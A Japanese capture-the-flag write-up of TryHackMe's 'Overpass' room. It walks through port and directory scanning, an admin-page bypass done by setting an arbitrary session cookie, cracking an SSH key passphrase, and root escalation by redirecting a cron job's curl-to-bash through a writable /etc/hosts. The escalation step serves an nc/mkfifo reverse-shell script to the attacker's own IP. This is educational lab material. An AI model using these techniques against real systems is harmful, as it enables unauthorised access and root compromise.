[WriteUp]Overpass - tryhackme

# はじめに
こちらの記事はtryhackmeのOverpassでのwriteup記事です。リンクは以下になります。
<https://tryhackme.com/room/overpass>

# 0.下準備
ターゲットサーバーを起動したときにもらった攻撃先のIPアドレスを、/etc/hosts に追記して target.thm に紐づけてあります。（途中で攻撃先サーバーのIPが変わってたりしますが同じです）

# 1.とりあえずnmap
とりあえずnmapで簡単にポートスキャンしてみると
```
$nmap -F target.thm 
Starting Nmap 7.92 ( https://nmap.org ) at 2024-02-18 01:52 JST
Nmap scan report for target.thm (10.10.17.23)
Host is up (0.25s latency).
Not shown: 98 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 2.28 seconds
```
ざっと80番ポートと22番ポートが空いているのが分かりました。

# 2.80番ポートにアクセス
nmapで80番ポートが空いているのが分かったので、ブラウザでアクセスしてみると、どうやらパスワードの保存ソフトを配布しているWebサイトみたい。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3472759/d06e3948-4c37-3443-316d-0913f6191c7b.png)

実行可能形式のファイルとソースコードも一緒に配布されているのでソースコードの中を確認してみると、"Military Grade encryption" は ROT47 のことらしい…
<br>（以下ソースコード一部抜粋）

```go
//Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-example
func rot47(input string) string {
	var result []string
	for i := range input[:len(input)] {
		j := int(input[i])
		if (j >= 33) && (j <= 126) {
			result = append(result, string(rune(33+((j+14)%94))))
		} else {
			result = append(result, string(input[i]))
		}
	}
	return strings.Join(result, "")
}
```

その他、データの保存は~/.overpassにあるとのこと。

# 3.gobusterする

他に特にめぼしいものが見つからないので、gobusterしてみる。
```
$ gobuster -u=http://target.thm:80/ -w=/home/hachan/kali-wordlists/dirbuster/directory-list-2.3-medium.txt

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://target.thm/
[+] Threads      : 10
[+] Wordlist     : /home/hachan/kali-wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
=====================================================
/img (Status: 301)
/downloads (Status: 301)
/aboutus (Status: 301)
/admin (Status: 301)
/css (Status: 301)
=====================================================
=====================================================
```

先程見て回ってたときには見つからなかった/adminを発見しました。

# 4./adminにアクセス
/adminにアクセスしてみると、管理者のログインページにたどり着きました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3472759/80cb144c-216e-22f3-fc84-77b0eca5cc39.png)

ひとまずログインフォームに関して調べてみると、/login.jsに詳しく記述されているのがわかります。
```js
async function postData(url = '', data = {}) {
    // Default options are marked with *
    const response = await fetch(url, {
        method: 'POST', // *GET, POST, PUT, DELETE, etc.
        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
        credentials: 'same-origin', // include, *same-origin, omit
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        redirect: 'follow', // manual, *follow, error
        referrerPolicy: 'no-referrer', // no-referrer, *client
        body: encodeFormData(data) // body data type must match "Content-Type" header
    });
    return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
    return Object.keys(data)
        .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
        .join('&');
}
function onLoad() {
    document.querySelector("#loginForm").addEventListener("submit", function (event) {
        //on pressing enter
        event.preventDefault()
        login()
    });
}
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}
```

なにやら、usernameとpasswordを/api/loginにpostリクエストで投げて、ログインが成功すると、その時にもらえるSessionTokenという名前のCookieを付けて、/adminにアクセスし直すみたい。適当にSessionTokenのCookieを付けて/adminにアクセスしてみると、Cookieの管理が適当なようで、管理者権限のページに遷移しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3472759/2f3e9202-c3b9-bcd9-b224-3652f38bd497.png)

ページを読んでみるとjamesに対して、sshの秘密鍵を用意したからこれを使えとのことと、パスワードがわからないときは自分で割り出してくれとのこと…

# 5.ssh private key のパスワードクラック
上で手に入れた秘密鍵をそのまま使ってsshに接続しようとするとパスワードを求められて、ログインができないので、以下の記事を参考にパスワードを割り出していきます。
<https://null-byte.wonderhowto.com/how-to/crack-ssh-private-key-passwords-with-john-ripper-0302810/>

johnはUbuntuのaptで入るものだとうまく動かないので、john jumboを使うと上手くいきます。
<https://github.com/openwall/john>

そこで割れたパスワードを使ってsshでログインを試すとログインできました。
```
$ ssh -i id_rsa james@target.thm

Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Feb 17 20:55:10 UTC 2024

  System load:  0.0                Processes:           88
  Usage of /:   22.3% of 18.57GB   Users logged in:     0
  Memory usage: 12%                IP address for eth0: 10.10.0.42
  Swap usage:   0%


47 packages can be updated.
0 updates are security updates.


Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$ 
```
ログインできたjamesのホームディレクトリに user.txt を発見しました。

# 6.権限昇格
ひとまず、sudoやcapability、suid、crontabなどを見てみます。jamesのパスワードに関しては、最初に入手した情報をもとに ~/.overpass を rot47 に通すと手に入りました。
一通り確認してみると、crontab に怪しい箇所を発見。

```
$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
```
毎分、root権限で overpass.thm/downloads/src/buildscript.sh をcurlしてそれをbashで実行しているみたい。
　overpass.thmがどこを読みに行っているかを確認するために/etc/hostsを確認しにいきます。
```
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```
自身の80番ポートにアクセスしているのがわかります。それに加えて、/etc/hostsはjamesでも書き込みの権限があるようです。
```
$ ls -l /etc/hosts 
-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts
```
なので、overpass.thmの紐付け先を自分のローカル環境のIPに書き換えることで、好きなシェルスクリプトがroot権限で実行ができそうです。jamesの環境にはvimが入っているようなので、それを使って/etc/hostsを書き換えます。（xx.xx.xx.xxは私のローカル環境のIP）
```
xx.xx.xx.xx overpass.thm
```
ローカル環境に ./downloads/src/buildscript.sh を以下のように作成して、
```
#!/bin/bash

mkfifo /tmp/f
nc xx.xx.xx.xx 7777 < /tmp/f | /bin/bash > /tmp/f
```
80番ポートでhttpサーバーを開いておいて、
```
sudo python3 -m http.server 80
```
同時に、リバースシェルをキャッチする準備をしておきます。
```
socat tcp-l:7777 - 
```
そうして少し待つと、root権限のリバースシェルが奪取でき、root.txtを読みにいけました。